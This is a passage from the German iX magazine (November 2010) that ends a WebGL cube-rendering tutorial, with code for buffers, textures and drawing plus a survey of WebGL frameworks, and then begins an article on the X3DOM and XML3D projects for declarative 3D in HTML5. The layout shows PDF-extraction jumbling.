J3DIMatrix4(); // VertexAttributeArrays anschalten gl.enablevertexattribarray(0); gl.enablevertexattribarray(1); gl.enablevertexattribarray(2); // VertexArrays: Vertex, Normal und Texture gl.bindbuffer(gl.array_buffer, gl.cube.vertexobject); gl.vertexattribpointer(0, 3, gl.float, false, 0, 0); gl.bindbuffer(gl.array_buffer, gl.cube.normalobject); gl.vertexattribpointer(1, 3, gl.float, false, 0, 0); gl.bindbuffer(gl.array_buffer, gl.cube.texcoordobject); gl.vertexattribpointer(2, 2, gl.float, false, 0, 0); //Index-Array gl.bindbuffer(gl.element_array_buffer, gl.cube.indexobject); //Textur laden loadtexture(gl,"ix_logo_cube.jpg"); return gl; } Mit WebGL allein kann kein Entwickler eine komplette 3D-Anwendung erstellen. Was fehlt, sind Funktionen, die über eine 3D-Programmierschnittstelle hinausgehen, etwa für die Animation dreidimensionaler Figuren oder das Einlesen von 3D-Daten. In dem relativ kurzen Zeitraum seit der Ankündigung von WebGL sind schon einige interessante Frameworks und zusätzliche Bibliotheken entstanden. GLGE [k] vereinfacht die Nutzung von WebGL. Die JavaScript-Bibliothek deckt viele grundsätzliche Funktionen von 3D- Applikationen ab. Dadurch kann sich der Entwickler stärker auf anwendungsspezifische Anforderungen konzentrieren. Unter anderem bietet GLGE Keyframe-Anima - tion, Normal-Mapping, Skelett-Animation, Lesen von Collada-Dateien, Environment- Mapping, Text-Rendering und Depth Shadows. Die Entwickler fügen ständig neue Funktionen hinzu. Mit dem von Lindsay Kay entwickelten SceneJS [l] kann man 3D-Szenen auf Basis von WebGL erstellen. Das JavaScript- Framework ist eine über WebGL liegende Schicht. Der Entwickler definiert den Inhalt der Szene und übergibt ihn dem Framework zum Zeichnen. Googles 3D-API O3D [m]) läuft unter der Open-Source-Lizenz. Das Framework startete als Konkurrenztechnik zu WebGL und lief mit einem eigenen Plug-in. Da Google einer der stärksten Unterstützer von WebGL Hilfe von außen ist, hat man sich dort irgendwann entschlossen, die Weichen neu zu stellen, das Plug-in wegzuwerfen und O3D neu zu programmieren. Die aktuelle Implementierung läuft auf Basis von WebGL. O3D enthält einen Render- und einen Transformgraphen zum Zeichnen von 3D-Objekten. Darüber hinaus gibt es Klassen für Texturen. Was im Vergleich zur ursprünglichen Realisierung noch fehlt, sind vor allem Klassen zur Animation von 3D-Figuren und zum Lesen beziehungsweise Schreiben von Dateien. Der größte Unterschied in der WebGL-Realisierung von O3D ist die Verwendung von GLGS als Shader-Sprache. Die frühere Version hat ausschließlich eine Variante von Cg akzeptiert. Das Ziel von Googles Projekt ANGLE (Almost Native Graphics Layer Engine [n]) ist es, WebGL auf Windows-Plattformen einfacher zum Laufen zu bringen. Dies geschieht durch die Umsetzung der API-Aufrufe von OpenGL ES 2.0 in DirectXˇ9. Viele Browser verwenden OpenGL-2.0-Treiber für WebGL. Sind diese nicht auf dem Rechner vorhanden, muss eine Alternative her. Mit ANGLE, das Google in seinem Webbrowser Chrome einsetzen will, können sie auf DirectX zurückgreifen. Ein innerhalb des Programms eigenständiger Prozess soll die Kommunikation mit der Grafikhard - ware übernehmen. Er nimmt die Befehle zum Zeichnen entgegen und gibt sie entweder per OpenGL oder Direct3D direkt an die Grafikkarte weiter. Zeichnen des Würfels notwendigen Koordinaten erzeugt: var vertices = new Float32Array( [1, 1, 1, -1, 1, 1, -1,-1, 1, 1,-1, 1,...]); Dieser Befehl erstellt einen typisierten ArrayBuffer, in dem die Koordinaten der Eckpunkte des Würfels als Float32- Zahlen abgelegt sind. Das Beispielprogramm speichert alle Vertex-Daten direkt in der Grafikhardware. Dafür gibt es in OpenGL die Vertex Buffer Objects (VBOs): vertexobject = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, vertexobject); gl.bufferdata(gl.array_buffer, vertices, gl.static_draw); Der erste Befehl erzeugt einen neuen Puffer und gibt ein Zugriffsobjekt mit dem Interface WebGLBuffer zurück. Die nächsten beiden Befehle machen den erzeugten Puffer zum aktuell zugreifbaren und übertragen die Daten vom JavaScript-Float32-Array in die Grafikhardware. 3D-Anwendungen erzeugen die Daten normalerweise nicht im Programm, sondern lesen sie aus Dateien. Da WebGL hierfür keine Funktionen zur Verfügung stellt, benötigt eine Appli - kation zusätzliche Frameworks oder Bibliotheken. Einige, die Collada- oder OBJ-Dateien einlesen, sind schon rela- 50 ix 11/2010

51 ix 11/

52 TITEL 3D im Browser Auf der Suche nach dem Fehler Neben den üblichen Debugging-Möglichkeiten von JavaScript bietet WebGL die Funktion geterror. Sie prüft, ob gerade ein Fehler in der Grafik passiert ist. Würde allerdings ein Skript diese Funktion nach jedem WebGL-Befehl aufrufen, um alle Fehler abzufangen, wäre das Programm nicht mehr besonders übersichtlich. Die Lösung bietet das Skript webgl-debug.js [o], das die WebGL-Fehlermeldungen automatisch an die JavaScript-Konsole weiterleitet. Als Erstes lädt der Entwickler es auf seine Webseite herunter und bindet es wie jedes andere Skript in den HTML- Text ein: tiv weit fortgeschritten (siehe Kasten Hilfe von außen ). Texturen als Bilder laden Zum Erzeugen der Texturen verwendet JavaScript den in jedem Browser vorhandenen Standard-Lade-Mecha - nismus für Bilder (Listingˇ4): Listing 4: Texturen laden function loadtexture(gl,url){ gl.enable(gl.texture_2d); ixtexture = gl.createtexture(); var image = new Image(); image.onload = function() { gl.bindtexture(gl.texture_2d, ixtexture); gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, gl.unsigned_byte, image); gl.texparameteri(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_wrap_s, gl.clamp_to_edge); gl.texparameteri(gl.texture_2d, gl.texture_wrap_t, gl.clamp_to_edge); draw(); }; image.src = url; } <script src="webgl-debug.js"></script> Das Skript erweitert den WebGLRenderingContext um die notwendige Fehlerabfrage: gl = WebGLDebugUtils.makeDebugContext (canvas.getcontext("webgl")); Soll ein 3D-Programm eine eigene Routine zur Fehlerbehandlung haben, kann man sie als weiteres Argument beim Erzeugen des Kontexts angeben: gl = WebGLDebugUtils.makeDebugContext (canvas.getcontext("webgl"), throwonglerror); var image = new Image(); image.src = url; Diese beiden Befehle erstellen zunächst ein DOM-Image-Objekt und starten den Download durch die Zuweisung der URL, die das Bild referenziert. Da der Browser das JavaScript-Programm ausführt und parallel dazu den Ladevorgang anstößt, ist es sinnvoll, mit der weiteren Ausführung der Applikation so lange zu warten, bis sich das Bild komplett im Speicher befindet. Dies geht am einfachsten über das Load-Ereignis des Bildes: image.onload = function() { gl.teximage2d(gl.texture_2d, 0, gl.rgba, gl.rgba, gl.unsigned_byte, image);...}; Danach kann JavaScript alle Texturen erzeugen und den Zeichenvorgang starten. Bevor es mit dem Zeichnen losgehen kann, haben die Erfinder von OpenGL das Umrechnen der 3D-Koordinaten des Objekts in 2D-Bildschirmkoordinaten gesetzt. Dies erfolgt auch in WebGL mit den bekann ten 4ˇxˇ14-Matrizen, die es in JavaScript leider nicht standardmäßig gibt. Web GL bietet hier ebenfalls keine Hilfe, da diese Matrizen nicht Teil der Spezifikation sind. Aus diesem Grund verwendet das Beispielprogramm das Skript J3DI- Math.js, das zu den WebGL-Beispielprogrammen der Khronos Group zählt. Es definiert die Matrizen und alle benötigten Operationen in JavaScript. Allerdings sollte es Strategie jedes WebGL-Programms sein, möglichst wenig in JavaScript zu berechnen und alles in die Shader auszulagern. Daher enthält der JavaScript-Code nur den Teil der Matrix-Berechnung, den man nicht sinnvoll auslagern kann. Das Zeichnen selbst erledigt WebGL wie die anderen OpenGL-Implementierungen über die folgenden Befehle vorausgesetzt, die Daten liegen bereits in der Grafikhardware: gl.drawelements(gl.triangles, gl.cube.numindices, gl.unsigned_byte, 0); gl.flush(); Listing 5: Bild zeichnen function reshape() { //Hat sich die Größe des Fensters geändert? if (canvas.width == canvaswidth && canvas.height == canvasheight) return; canvaswidth = canvas.width; canvasheight = canvas.height; // Viewport und Projektionsmatrix festlegen gl.viewport(0, 0, canvaswidth, canvasheight); gl.perspectivematrix = new J3DIMatrix4(); gl.perspectivematrix.perspective(30, canvaswidth/canvasheight, 1, 10000); gl.perspectivematrix.lookat(0, 0, 7, 0, 0, 0, 0, 1, 0); } var currentangle = 64; function draw() { reshape(); //Canvas löschen gl.clear(gl.color_buffer_bit gl.depth_buffer_bit); // Erzeuge Model/View-Matrix. gl.mvmatrix.makeidentity(); } gl.mvmatrix.rotate(20, 1,0,0); gl.mvmatrix.rotate(currentangle, 0,1,0); // Erzeuge Normalmatrix von Model/View-Matrix gl.normalmatrix.load(gl.mvmatrix); gl.normalmatrix.invert(); gl.normalmatrix.transpose(); gl.normalmatrix.setuniform(gl,gl.u_normalmatrixloc, false); // Berechne Model/View/Projektionsmatrix gl.mvpmatrix.load(gl.perspectivematrix); gl.mvpmatrix.multiply(gl.mvmatrix); gl.mvpmatrix.setuniform(gl,gl.u_modelviewprojmatrixloc, false); // Textur binden gl.bindtexture(gl.texture_2d, ixtexture); //Ausgeben gl.drawelements(gl.triangles, gl.cube.numindices, gl.unsigned_byte, 0); gl.flush(); //Drehen currentangle += 4; if (currentangle > 360) currentangle -= 360; 52 ix 11/2010

53 Onlinequellen [a] WebGL-Homepage [b] WebGL-Spezifikation [c] Getting a WebGL Implementation khronos.org/webgl/wiki/getting_a_webgl_implementation [d] Spezifikation OpenGL ES Shading Language(GLSL) [e] Spezifikation für ArrayBuffer und Typed Arrays für JavaScript [f] Blog zu WebGL learningwebgl.com/blog/ [g] HTML5-Spezifikation dev.w3.org/html5/spec/overview.html [h] Spezifikation für OpenGL 2.0 ES [i] Entwicklerinformationen von Mozilla [j] WebGL-Tutorial von Peter Strohm [k] GLGE [l] SceneJS scenejs.org [m] O3D code.google.com/p/o3d/ [n] ANGLE-Projekt code.google.com/p/angleproject/ [o] webgl-debug.js [p] ix-listingserver mit Beispielprogramm ftp://ftp.heise.de/pub/ix/ix_listings/2010/11/ Fazit Die erste Definition von WebGL gibt es erst seit knapp einem Jahr. Daher wäre es gewagt, zu diesem Zeitpunkt zu beurteilen, ob es sich durchsetzen wird oder nicht. Für die Spezifikation spricht, dass WebGL-Programme ohne Installation eines Plug-in auskommen. Außerdem setzen vier große Browserhersteller alles daran, dass WebGL ein Erfolg wird. Positiv ist auch, dass ein Konsortium sich um die Weiterentwicklung kümmert und den Standard kostenlos zur Verfügung stellt. Ein weiterer Punkt auf der Pro-Seite ist, dass die Spezifikation Funktionen der Grafikhardware nutzt, um leistungs - fähige Anwendungen zu ermöglichen. Andererseits kann man noch keine Aussage über die Performance machen, da alle Browser-Implementierungen sich in einem sehr frühen Stadium befinden. JavaScript ist trotz der immer leistungsfähigeren Browser kein Geschwindigkeitswunder. Zusätzlich benötigte Bibliotheken wie die Physics Engine für Spiele oder ähnliche performant in der Skriptsprache zu realisieren, darf als Her ausforderung gelten. Zudem ist Java Script nicht die Programmiersprache der 3D-Entwickler. Als weiteres Argument gegen WebGL lässt sich anführen, dass Microsoft sich noch nicht dazu entschlossen hat, die Spezifikation im Internet Explorer umzusetzen. Für JavaScript aber kann man in WebGL auf jeden Fall eine sinnvolle Erweiterung sehen. Da die großen Browserhersteller ihre Produkte und damit JavaScript aktuell stark pushen, um vor allem auf tragbaren Geräten wie Handys oder Tablet-Computern präsent zu sein, wird es auch eine große Zahl Anwender geben, für die 3D-Anwendungen interessant sind. (ka) GERHARD VÖLKL ist Fachjournalist für.net-techniken, Datenbankprogrammierung und Computergrafik. Literatur [1]ˇTobias Günther; Weitblick; 2D-Grafik mit canvas und JavaScript; ixˇ10/08, S.ˇ138 x ix 11/

54 TITEL 3D mit HTML5 X3DOM & XML3D: Deklaratives 3D in HTML5 Browser(t)räume Philipp Slusallek, Johannes Behr, Yvonne Jung, Kristian Sons 3D im Web hat Geschichte. Der Erfolg ist aber bisher ausgeblieben. Das kann sich schlagartig ändern, wenn die Browser 3D-Szenen ohne weitere Hilfsmittel darstellen können. Die Open-Source-Projekte X3DOM und XML3D streben dieses Ziel an. Erste Beispiele zeigen, wie es geht. Aktuelle Rechner, vom PC bis zu vielen mobilen Geräten, enthalten leistungsfähige Grafik-Prozessoren und bieten so die technischen Voraussetzungen für eine breite Nutzung interaktiver 3D-Grafik. Die notwendige Internetbandbreite steht meist ebenfalls zur Verfügung. Allerdings wird 3D-Grafik bis auf Spiele und wenige Spezialanwendungen heute noch kaum genutzt schon gar nicht im Web. Vergleichbar ist diese Situation mit dem Stand des Online-Videos vor einigen Jahren: Obwohl fast jeder PC die Technik seit längerer Zeit anbot, gab es nur wenige Nutzer. Das änderte sich allerdings schlagartig, als man Videos direkt im Browser abspielen konnte. So soll im nächsten Jahr der Umsatz allein von YouTube über eine Milliarde Dollar erreichen. Die spannende Frage ist nun, ob sich etwas Ähnliches bei interaktiver 3D- Grafik im Web wiederholen kann. Zwar ist es im Vergleich zu einer schnellen Videoaufnahme deutlich schwieriger, 3D-Inhalte neu zu erstellen, im Gegensatz zu Videos lassen sie sich allerdings einfach modifizieren, wiederverwenden und neu zusammenstellen. Während Videos durch die Darstellung realer Szenen und Personen oft einen direkten und persönlichen Bezug zu den Inhalten vermitteln, ist das mit virtuellen 3D- Inhalten schwieriger. Revolution in der dritten Dimension Auf der anderen Seite bieten 3D-Szenen durch ihre Interaktivität und die mögliche Immersion des Nutzers in die Szene eine Attraktivität, die weit über die von Videos hinausgeht wie Computerspiele deutlich zeigen. Zudem erlauben interaktive 3D-Umgebungen eine soziale Beziehung zwischen Benutzern, die so im 2D-Web oder mit Videos nicht realisierbar ist. Und schließlich erschließt gerade die enge Integration von traditionellen 2D- mit neuen 3D-Inhalten auf einer gemeinsamen Webseite faszinierende neue Wege für die Darstellung und Vermittlung von Informationen sowie für die Erstellung völlig neuer Webanwendungen. Insgesamt ergibt sich so eine spannende dritte Dimension, die das Potenzial hat, das Internet zu revolutionieren. Sollte 3D im Web technisch eine Erfolgsstory werden, stellt sich allerdings die Frage, wer die passenden Inhalte erstellt und die zugehörigen Weban- 54 ix 11/2010

55 wendungen entwickelt. Bisher ist der 3D-Markt gerade, aber nicht nur im Spielebereich durch Spezialisten geprägt: Experten für OpenGL/DirectX entwickeln spezialisierte Engines, die auf bestimmte 3D-Inhalte zugeschnitten sind. Auf der anderen Seite sitzen Experten, die über Monate oder gar Jahre hinweg Inhalte gezielt für eine bestimmte Engine entwickeln. Diese horrenden Kosten amortisieren sich über viele verkaufte Spiele. Aber schon bei den sogenannten Casual Games, bei denen es viel stärker darauf ankommt, viele neue Ideen schnell und einfach realisieren zu können, funktioniert dieses Modell nicht mehr richtig. Und schon gar nicht greift es im industriellen Bereich, in dem ein Ingenieur seine Änderung am CAD- Modell oft innerhalb von Minuten seinen Chefs vorstellen muss. Da bleibt keine Zeit, die Inhalte auf bestimmte Engines anzupassen, alles muss sofort auf einen Knopfdruck funktionieren. Auch hat der Chef selbst normalerweise kein CAD-System, aber sicherlich einen Browser. Mit 3D im Browser müsste er eine per zugeschickte URL auf das neue CAD-Modell einfach nur anklicken. Diese Argumente gelten umso mehr für die Masse der Privatanwender, kleinere Betriebe ohne 3D-Spezialisten oder alle die, die nur mal schnell 3D-Inhalte interaktiv visualisieren und mit ihnen interagieren wollen. Weder funktionierte also das bisherige Publikationsmodell für 3D-Inhalte, noch gäbe es genügend Spezialisten, um massenhaft Inhalte für ein 3D-Internet erstellen zu können. Da die zukünftigen Entwickler und Anwender von 3D-Grafik keine Spezialisten sein werden, ist für sie die 3D-Grafik selbst nicht wie bisher das Ziel, sondern nur ein Mittel zum Erreichen anderer Ziele, die inklusive ihrer 3D-Inhalte von außen vorgegeben sind und auf Anhieb, ohne große Änderungen, automatisch korrekt visualisiert werden müssen. Dieses neue Nutzungsmodell für 3D- Grafik unterscheidet sich grundsätzlich vom Status quo und erfordert sowohl technische als auch organisatorische Maßnahmen. Inhalte beliebig miteinander kombinieren x-tract X3DOM und XML3D sind zwei bisher voneinander unabhängige Open-Source- Projekte, die mit HTML-Mitteln 3D-Szenen in die Webbrowser bringen wollen. X3DOM nutzt eine Teilmenge des ISO-Standards X3D zur Erweiterung des HTML5- DOM und greift ansonsten auf existierende CSS- und JavaScript-Funktionen zurück. XML3D ist eine direkte Erweiterung von HTML5, verwendet existierende Web techniken wie CSS oder JavaScript und führt wo sinnvoll zusätzliche CSS-Eigenschaften ein. Zur Harmonisierung dieser beiden Ansätze planen die Projektteams, einen mini - malen internen Szenengraphen zu entwickeln, den beide Systeme nutzen können. Das 3D-Internet muss daher so gestaltet sein, dass die Millionen Webentwickler und -designer ihre Kenntnisse nahtlos oder mit minimalem Aufwand auf 3D-Web-Inhalte anwenden können. Wo immer möglich, müssen sich Konzepte aus 2D direkt nach 3D übertragen lassen und bisherige Programmier- und Designtechniken sollten gleichermaßen auf 3D anwendbar sein. Umgekehrt sollten neue 3D-Features auf 2D-Inhalte anwendbar sein, sodass sich 2D- und 3D-Inhalte beliebig kombinieren lassen. WebGL eignet sich aus den genannten Gründen nicht direkt als Grundlage für das zukünftige 3D-Internet. Wie der Artikel Freies Malen auf Seiteˇ46 erläutert, ist WebGL ein JavaScript- Binding für OpenGL. Zwar erlaubt es hardwarebeschleunigte, Plug-in-freie 3D-Grafik direkt im Browser, allerdings stellt es analog zu OpenGL lediglich eine Low-Level-API bereit. Der Webentwickler muss sich daher explizit um 4ˇxˇ4-Matrizen, ArrayBuffer, die Kompilierung von Shader-Programmen, das Binden von Attributen an Shader et cetera selbst kümmern eine Domäne, die inhaltlich nicht unbedingt zu seinen Kernkompetenzen gehört. Diese Problematik zeigt sich bereits darin, dass WebGL heute fast nur mittels darüberliegender Szenengraph-Bibliotheken (etwa SpiderGL oder GLGE) genutzt wird. Dafür müssen WebentiX 11/

56 TITEL 3D mit HTML5 wickler jedoch wieder ganz neue APIs lernen. Wenn man bedenkt, dass das Document Object Model (DOM) einer Webseite quasi schon ein deklarativer 2D-Szenengraph der Webseite ist, scheint es nur natürlich, statt neue Konzepte und APIs einzuführen, einfach den existierenden und allen bekannten DOM direkt als Szenengraph und API zu nutzen. Dies erlaubt es letztlich nicht nur, den Prozess des Content Design an sich zu vereinfachen, sondern zudem die Verbreitung, Vernetzung und Wiederverwendung von 3D-Inhalten im Sinne des Mashup-Gedankens zu unterstützen. Weltweit gibt es momentan zwei (Open-Source-)Projekte mit verschiedenen Ansätzen, die sich damit beschäftigen, wie die Integration von 3D- Inhalten in den DOM und somit direkt in die Website aussehen kann. Zwei Projekte mit dem gleichen Ziel Das Projekt X3DOM (siehe Onlinequellen [a] und ix-link), das Mitarbeiter des Fraunhofer IGD in Darmstadt entwickeln, fußt auf dem offenen ISO- Standard X3D [b], [1]], der nicht nur ein 3D-Austauschformat ist, sondern auch das Laufzeitverhalten interaktiver und dynamischer 3D-Inhalte beschreibt. X3D erweitert das HTML-Dokument um weitere Knotentypen zur deklarativen Beschreibung von 3D-Elementen. X3DOM versucht nicht, den kompletten X3D-Standard in HTML einzubetten, sondern definiert lediglich ein konkretes HTML-Profile, das nur die wichtigsten Szenengraphknoten beinhaltet (z.ˇb. <shape>) und alle redundanten X3D-Konzepte wie Scripting, sogenannte Protos und High-Level-Sensoren ausschließt. X3D in HTML einzubetten, ist keine neue Idee. So referenzierte die HTML5-Spezifikation X3D für deklarative 3D-Szenen noch bis vor Kurzem explizit, wobei im Lauf eines allgemeinen Restrukturierungsprozesses diese Referenz zwar zwischenzeitlich entfernt wurde, mittlerweile jedoch eine innerhalb des Web3D-Konsortiums angesiedelte HTML5-/X3D-Interessengruppe an einer verbesserten Integration arbeitet, bei der das X3DOM-Integrationsmodell als Grundlage dient. X3DOM wurde auf der W3C TPAC 2009 erstmalig erfolgreich vorgestellt, ist seit Ende 2009 frei verfügbar und bereits erfolgreich im Einsatz. Das wachsende Entwicklerteam arbeitet im Moment an der Version 1.1. X3DOM unterstützt drei Backend-Systeme. Abhängig vom X3DOM-Profile und der Browserumgebung wählt das System das jeweils passende (Abb.ˇ1). Das zweite Projekt nennt sich XML3D und wird gemeinsam mit Intel am Deutschen Forschungszentrum für Künstliche Intelligenz (DFKI), der Universität des Saarlandes und dem Saarbrücker Intel Visual Computing Institut entwickelt. XML3D ist eine direkte Erweiterung von HTML5, die interaktive 3D-Grafik in der Webseite ermöglicht. Dadurch, dass XML3D bei HTML5 startet und nicht auf einen vorhandenen Standard aufsetzt, müssen keine fremden Konzepte und Techniken einfließen, sondern nur solche, die durch HTML5 bereits bekannt sind. Wo es notwendig ist, erweitert XML3D sie um 3D-spezifische Funktionen. Diese Vorgehensweise verlangt nur wenige neue Elemente, um 3D im Browser zu ermöglichen. Domänen- und anwendungsspezifische Funktionen kann der Webentwickler über einen Erweiterungsmechanismus ergänzen (mehr dazu in der ix 12/2010). Die ersten Ergebnisse waren auf der CeBIT 2010 zu sehen und zeigten, welche Möglichkeiten sich durch die direkte Unterstützung interaktiver 3D-Techniken im Browser auftun. Seitdem hat das Team XML3D konsequent weiterentwickelt. Die Spezifikation liegt zurzeit in der vierten Revision vor [c]. Nahtlose Integration in die Webseite Ziel beider Projekte ist eine kompakte Szenenbeschreibung für die Visualisierung, um 3D-Inhalte nahtlos in die Website zu integrieren und ansonsten auf vorhandene und allgemein bekannte Webstandards und -techniken wie HTML, CSS, Ajax, JavaScript und DOM-Scripting zurückzugreifen, inklusive geeigneter CSS-Konzepte und HTML-Elemente wie <img>, <video> und <canvas> zur Definition von Texturen. Die Einbettung der dreidimensionalen Inhalte in die DOM-Infrastruktur erlaubt es, komplette Webanwendungen einschließlich der 3D-Szenenbeschreibung weitgehend mit den üblichen Webstandards zu erstellen. Die Systeme benutzen die bekannten DOM-Schnittstellen und erweitern diese in unterschiedlichem Umfang nur dort, wo es für die effiziente Nutzung der jeweiligen 3D-Funktion notwendig ist. Sowohl in X3DOM als auch in XML3D gelten die vorhandenen DOM-Ereignisse und Event-Attribute wie onmouseover auch für die 3D-Objekte. Außerdem integrieren beide Ansätze bereits vorhandene, für 3D nutz- 56 ix 11/2010

57 bare CSS-Eigenschaften (etwa durch die Draft-Spezifikation für CSS-3D- Transforms gegeben). Unterschiedlich ist die Tiefe der Integration. Während XML3D die vorhandenen CSS-Eigenschaften und DOM-Events um 3Dspezifische erweitert, beschränkt sich X3DOM zunächst auf die existierenden, da derzeit eine solche Erweiterung eine Modifikation des Browser- Sourcecodes erfordern würde. Beide Ansätze haben Vor- und Nachteile. X3DOM hat durch seine Rückwärtskompatibilität zu X3D den Vorteil, dass sich existierende Exporter und Konverter für die Erzeugung der Inhalte verwenden lassen und dass man auf existierende Dokumentationen zurückgreifen kann. Für XML3D dagegen spricht, dass es keine Konzepte eines anderen Formats übernehmen musste und dadurch näher an HTML5 angelehnt ist. Auf der anderen Seite konzentriert sich X3DOM bewusst auf eine kleine Teilmenge von X3D und definiert eine Reihe webspezifischer Funktionen, die so in X3D bislang nicht existieren. Dadurch liegen die Ergebnisse der beiden Projekte relativ nah beieinander. Im Rahmen eines gemeinsamen Teilprojekts des BMBF-Spitzenclusters Software-Innovationen für das Digitale Unternehmen werden die beiden Teams aus Darmstadt und Saarbrücken die beiden Ansätze jetzt zusammenfassen, um im Anschluss daran den verschiedenen Standardisierungsgremien wie dem W3C und dem Web3D-Konsortium einen möglichst harmonisierten Tag-Set vorzulegen. Das Ziel ist es, einen eng an HTML5 angelehnten Basis-Tag-Set zu entwickeln, der darüber hin aus als Grundlage für weitere Entwicklungen dienen kann. Die existierenden Systeme zeigen aber bereits jetzt viele Möglichkeiten auf, die eine Integration von 3D-Objekten in den DOM bietet. Im Weiteren geht dieser Artikel näher auf die Spezifika von X3DOM und XML3D ein. X3DOM Das System wird seit zwei Jahren innerhalb der HTML5-/X3D-Interest group weiterentwickelt. Ziel ist es, den Integrationsprozess weiter zu unterstützen und die fortwährende Diskussion, wie deklaratives 3D in HTML aussehen könnte, mit einem existierenden System zu konkretisieren. Das aktuelle Open-Source-System X3DOM ist als Java Script-Frontend implementiert, das unterschiedliche Back ends für die Visu alisierung unterstützt. Über ein Fallback-Modell transparent für die Anwendung und den Anwendungsentwickler wählt das System abhängig vom gewählten X3D-Profile und der Browser-Umgebung das passende Back - end-system (siehe Abbildungˇ1). Derzeit unterstützt X3DOM drei Systeme, die im Folgenden genauer beschrieben werden. Die erste Variante ist, die Code-Basis eines Browsers so zu modifizieren, dass sie die neuen Elemente nativ unterstützt. Der JavaScript-Layer überprüft, ob der Browser das X3D-Element kennt, und beendet sofort die weitere Verarbeitung, falls das der Fall ist. Dieses Verfahren bietet die beste Integration, da alle Schnittstellen und Funktionen verfügbar sind. Es hat aber den entscheidenden Nachteil, dass der Benutzer eine modifizierte BrowseriX 11/

58 TITEL 3D mit HTML5 Die identische X3DOM/HTML-Page in einer iphone-app mit WebKit-Erweiterungen über OpenGL ES 2.0 visualisiert, als IE8-C++-Plug-in mit CUDA-basiertem Raytracer und als WebGL-Implementierung auf einem Nokia N900 (Abb.ˇ2) Version installieren muss, was nicht nur größere Sicherheitsrisiken als bisherige Plug-in-Lösungen beinhaltet, sondern zusätzliche Nachteile wie Installationsprobleme mit sich bringt. Das Fraun - hofer IGD hat aus diesem Grund bisher lediglich eine modifizierte WebKit-Version zu Testzwecken in ihrer iphone- Umgebung, um damit X3DOM-Knoten abzubilden (siehe Abbildungˇ2). Hat der Benutzer ein Standard- X3D-Plug-in über SAI (Scene Access Interface) installiert (etwa den Instant- Player [d]), übernimmt dies die Visualisierung. Dazu instanziiert der Java - Script-Layer das Plug-in und überträgt die Daten im DOM über die SAI- Schnittstellen auf den X3D-Szenengraphen. DOM-Level-2-Events überwachen den Objektbaum und übertragen alle Änderungen in den X3D-Szenengraphen. Auf diese Weise erzielt man ein sehr gutes Ergebnis beim Rendering, der Benutzer ist jedoch wieder gezwungen, ein Plug-in zu installieren. X3DOM in Browsern mit WebGL Sollten die beiden ersten Wege nicht zum Ziel führen, versucht X3DOM, einen WebGL-Context zu erzeugen. Unterstützt der Browser WebGL direkt, erzeugt das System in JavaScript einen X3D-Szenengraphen und nutzt ihn für alle Traversierungen. Zur Synchro nisation der DOM- und Szenen - graph-repräsentation dienen wiederum DOM-Level-2-Events, deren Anmeldung automatisch erfolgt. Für die eigentliche Visualisierung traversiert das System den Szenengraph, sammelt alle X3D-Material- und Geometriebeschreibungen auf und überführt diese in Web GL-Zustände und -Befehle, beziehungsweise in die OpenGL-ES-2.0-Ent spre - chungen. Dieser Ansatz hat den wesentlichen Vorteil, dass er auf modernen Systemen mit WebGL-Unterstützung, angefangen vom Nokia N900 Smartphone bis hin zum Highend-Desktop-Rechner, ohne Plug-in läuft. Der Nachteil ist, dass er sich für komplexe Objekte und aufwendige Animationen nur eingeschränkt eignet, da JavaScript-Anwendungen nicht annähernd die Performance einer nativ in C/C++ geschriebenen Implementierung erreichen. Durch die Beschränkung auf den von OpenGL ES 2.0 definierten Subset von OpenGL wird zudem nur Shader Model 2.0 unterstützt also recht einfache Vertex- und Pixel-Shader, wie man sie auf Desktop-Systemen vor etwa sieben Jahren noch hatte, beispielsweise auf einer GeForce FX 5900 GPU von NVIDIA. Die in diesem Artikel vorgestellten Beispiele sind so aufgebaut, dass sie in einem aktuellen, WebGL-fähigen Browser laufen. Online kann man sie unter x3dom.org/ix/ [e] ausprobieren. Die CSS-3D-Transform-Anwendungen benötigen allerdings einen WebKit-basierten Browser wie Chrome oder Safari. Wie eingangs erwähnt, erweitert X3DOM HTML um neue Elemente für Listing 1: Texturierter Quader in X3DOM <html> <head> <title>meine erste X3DOM Seite</title> <link rel="stylesheet" type="text/css" href=" <script type="text/javascript" src=" </script> </head> <body> <h1>hallo X3DOM</h1> <p>dies ist meine erste HTML-Seite mit einem 3D-Objekt.</p> <x3d width="500px" height="400px" xmlns=" <scene> <background skycolor="0 0 1"></background> <shape> <appearance> <imagetexture url="ix_logo.png"></imagetexture> </appearance> <box></box> </shape> </scene> </x3d> </body> </html> die dreidimensionale Darstellung. Eine einfache 3D-Szene lässt sich daher leicht im Texteditor erstellen Listingˇ1 zeigt das Grundgerüst. Damit der Browser die neuen Elemente versteht und entsprechend darstellt, sind zunächst wie bei anderen JavaScript- Bibliotheken etwa jquery das X3DOM-Stylesheet über das <link>- Element sowie alle notwendigen JavaScript-Funktionen zur Verarbeitung der 3D-Szene über das <script>-element einzubinden. Öffnet man den in Listingˇ1 dargestellten HTML-Quelltext in einem geeigneten Browser, etwa den aktuellen Betaversionen von Chrome oder Firefox, erscheint ein mit dem ix-logo textu rierter Quader (analog zum Web GL- Quader auf S.ˇ47). Ähnlich wie die HTML-Elemente <p> oder <div> definiert das <x3d>-element einen rechteckigen Bereich, der all seine Kind - elemente beinhaltet, das heißt, die X3DOM-spezifischen Elemente zur Beschreibung der 3D-Objekte in diesem Fall den durch <box> definierten, texturierten Quader. Über das Element <background> kann man die Hintergrundfarbe der Szene setzen, in diesem Fall blau, definiert durch das RGB-Tupel (0,0,1). Verzichtet man auf das zusätzliche (X3D-spezifische) <background>-element, wird per Default und wie von anderen HTML-Elementen gewohnt der Hintergrund des <x3d>-elements unberührt gelassen und kann über CSS gestylt werden. Deshalb lässt sich der gleiche Effekt über CSS folgendermaßen erzielen: <x3d style="background-color: #00F;"... > Möchte man statt einer einfachen Farbe oder eines Bildes lieber einen Hintergrund haben, der eine komplette Umge- 58 ix 11/2010

